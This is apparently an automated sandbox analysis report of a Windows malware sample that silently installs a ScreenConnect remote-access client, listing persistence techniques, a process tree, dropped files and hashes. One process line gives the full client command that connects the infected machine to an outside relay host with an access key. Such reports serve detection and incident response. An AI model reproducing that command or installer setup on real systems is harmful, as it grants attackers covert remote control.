Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/04/2026, 15:26

General

  • Target
    2026-04-17_717f2d9e7d56e2427428bbcc57dd89a9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260417-svlsxsdz21
  • SHA256 d122a13082be9d6c823dfbfe57025aca32a431a8c6abcc2dd7a4f8df7126f057
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-17_717f2d9e7d56e2427428bbcc57dd89a9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-17_717f2d9e7d56e2427428bbcc57dd89a9_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\484f9eed1d8e13b9\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3880
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3156
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 537A9839838CF4E4A45A64D873346E05 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240664843 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5100
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4072
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9061F8162EEE6D2A25F71528330106D7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4952
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DC7799EA83F5A9E791FA2C05814A4A28 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1532
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5084
    • C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=slplegalfinance.com&p=443&s=f36d46e6-4e43-4c7b-9496-a95adb2399af&k=BgIAAACkAABSU0ExAAgAAAEAAQDVyeZoBLn8WdM6xWDr4b0uAsUBfhP2EJOSdZugmbrUWVWehsUh2LvfCfwDYGcJBhcBEWS%2fDmahaCPw1tkv%2f%2bw18TIjThn%2bQ%2feZavwugcHDfdkaqKi0LnYdddcCsozuL7%2bVQevv9snFAHOiSjLD7xdNlPMSw%2bw682fIJIkr8XbdhPPukmg4Ksp6Kf1Xba7KkmNnwSS1MRXckDb%2f1hQrUI%2fSZZdGbJvZ3tc%2f3CR0LXLnGeCLG7Dt5iRIHwzJf5XuTInHiPesoO6bSk%2bUfoeCYO3BjvU6pRL6UKY08mjZ7e%2b6FOQb4acTm6QTR9K%2fsvFdvWQ%2br7EyKwXpSy6iTh4x7%2f%2bv&t=ZCEO"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe" "RunRole" "f156af10-cec4-4136-8d35-246dc93570ab" "User"
        2⤵
        • Executes dropped EXE
        PID:2548

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e587b47.rbs

          • Path C:\Config.Msi\e587b47.rbs
          • Size 214KB
          • SHA256 1a620dbe4bfca82c28db339c87bd58dd0ad15b1f5309b60bfaa46517aec131da
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.en-US.resources
          • Size 347B
          • SHA256 5748a4bb4cc8e1e9bb3832e1f9e8914038a1b97d2c7523ec342e596317208fb8
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.resources
          • Size 5KB
          • SHA256 e15e9d01d8049ff1e1b01e8e9845df20a4c80a9cf883aa84e0e407a2d865b8e3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\app.config
          • Size 1KB
          • SHA256 7a369b2a715325d56635738da4e7072833af54162e70a6559a727feedf5ce1e8
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\system.config
          • Size 956B
          • SHA256 257fa1ff9f14e80025acbea5ceb1ee308c32a948289361f8dcda666c82b8fb82
          • MD5 SHA1 SHA512 TLSH

          MSI40AE.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI40AE.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\484f9eed1d8e13b9\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 e5228000afd2a5ebc7b88878cf25cca4014a4bb7ad9f11ada9bce3e9d981813c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI7CEC.tmp

          • Path C:\Windows\Installer\MSI7CEC.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          1011x3we.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\1011x3we.newcfg
          • Size 585B
          • SHA256 65106d3ea600438b6941797103a7a7ebf8f92ef8495c4edceb0e1d01849cf153
          • MD5 SHA1 SHA512 TLSH

          1kcxob3z.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\1kcxob3z.newcfg
          • Size 585B
          • SHA256 ebbec5c924e08134d6474e5625da8c98e519b0074ea96fb4c17efdf26130517e
          • MD5 SHA1 SHA512 TLSH

          35lveabm.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\35lveabm.newcfg
          • Size 585B
          • SHA256 cc6d2c8f37e4f79f91fe5e8fb48afcd94121e893c9e9ab3231ab43af9b599a77
          • MD5 SHA1 SHA512 TLSH

          50mluq3r.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\50mluq3r.newcfg
          • Size 585B
          • SHA256 bbf51f1982ab19dc229020af56feac3db25040720c20bb543ace160a8d91dd58
          • MD5 SHA1 SHA512 TLSH

          5gkghg2g.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\5gkghg2g.newcfg
          • Size 585B
          • SHA256 ddcff6759fe9807f495c06b2706131936bd511fbdcfae715508d970216ee5d3a
          • MD5 SHA1 SHA512 TLSH

          iu1cbngi.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\iu1cbngi.newcfg
          • Size 585B
          • SHA256 e1c99ad9ac9fa6f1a3ceaa18c869444c7c7f86ba2e4315d4482edf66d2c5ebd4
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\user.config
          • Size 585B
          • SHA256 be42729b1863ac4c34fa1c48f8c54121dc88cb2f3fef4973457f182bfb5ac0ed
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\user.config
          • Size 585B
          • SHA256 9f8fc3eb5ce841337ba3b00ec178778aebf631fe833ba5849ebb16cb025f7db3
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 a938d7a2e46ad3ce84861adc279305a93965b24f5f7da05b7a26539c86503dc4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {4643552b-6cb0-4aaf-8e2f-2cf723579d5e}_OnDiskSnapshotProp

          • Path \??\Volume{a37a13d3-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{4643552b-6cb0-4aaf-8e2f-2cf723579d5e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 bacb8018a465fbd2f89852487efc9e846a840d0c8b23c6140de9474356d24b5f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1532-117-0x00000000009B0000-0x00000000009FA000-memory.dmp

          memory/1948-5-0x0000000005190000-0x000000000521C000-memory.dmp

          memory/1948-6-0x0000000005220000-0x0000000005242000-memory.dmp

          memory/1948-1-0x00000000010F0000-0x00000000010F8000-memory.dmp

          memory/1948-9-0x0000000005180000-0x0000000005190000-memory.dmp

          memory/1948-0-0x0000000005180000-0x0000000005190000-memory.dmp

          memory/1948-12-0x0000000001360000-0x000000000150C000-memory.dmp

          memory/1948-8-0x0000000005D30000-0x00000000062D6000-memory.dmp

          memory/1948-2-0x0000000005180000-0x0000000005190000-memory.dmp

          memory/1948-3-0x0000000005180000-0x0000000005190000-memory.dmp

          memory/1948-7-0x0000000005240000-0x00000000053EA000-memory.dmp

          memory/1948-4-0x0000000005490000-0x0000000005780000-memory.dmp

          memory/2164-120-0x0000000003C60000-0x0000000003CB0000-memory.dmp

          memory/2164-129-0x0000000004140000-0x0000000004212000-memory.dmp

          memory/2164-94-0x00000000014B0000-0x00000000014C8000-memory.dmp

          memory/2164-127-0x0000000003CF0000-0x0000000003D31000-memory.dmp

          memory/2164-125-0x0000000003F50000-0x0000000003FE2000-memory.dmp

          memory/2164-124-0x0000000003CB0000-0x0000000003CE6000-memory.dmp

          memory/2164-176-0x0000000004DB0000-0x0000000004E5F000-memory.dmp

          memory/2548-143-0x000000001B4B0000-0x000000001B65A000-memory.dmp

          memory/2548-141-0x0000000002500000-0x0000000002536000-memory.dmp

          memory/2548-142-0x000000001B270000-0x000000001B2FC000-memory.dmp

          memory/2548-144-0x000000001B7F0000-0x000000001B978000-memory.dmp

          memory/2548-145-0x00000000023A0000-0x00000000023B8000-memory.dmp

          memory/2548-146-0x0000000002560000-0x0000000002578000-memory.dmp

          memory/2548-177-0x0000000002360000-0x000000000236C000-memory.dmp

          memory/2548-140-0x0000000000220000-0x00000000002B6000-memory.dmp

          memory/3156-52-0x0000018AA9070000-0x0000018AA911F000-memory.dmp

          memory/3828-118-0x0000000000800000-0x000000000084A000-memory.dmp

          memory/3828-53-0x0000000000800000-0x000000000084A000-memory.dmp

          memory/3880-119-0x0000000001340000-0x000000000138A000-memory.dmp

          memory/3880-51-0x0000000001340000-0x000000000138A000-memory.dmp

          memory/4072-173-0x000001A196BC0000-0x000001A196C6F000-memory.dmp

          memory/4072-178-0x000001A196BC0000-0x000001A196C6F000-memory.dmp

          memory/4952-116-0x00000000004E0000-0x000000000052A000-memory.dmp

          memory/5084-54-0x000001B17A730000-0x000001B17A7DF000-memory.dmp

          memory/5100-50-0x0000000001150000-0x000000000119A000-memory.dmp

          memory/5100-44-0x0000000005640000-0x00000000057EA000-memory.dmp

          memory/5100-40-0x0000000005400000-0x000000000548C000-memory.dmp

          memory/5100-36-0x0000000002FC0000-0x0000000002FCA000-memory.dmp

          memory/5100-32-0x0000000002F80000-0x0000000002FAE000-memory.dmp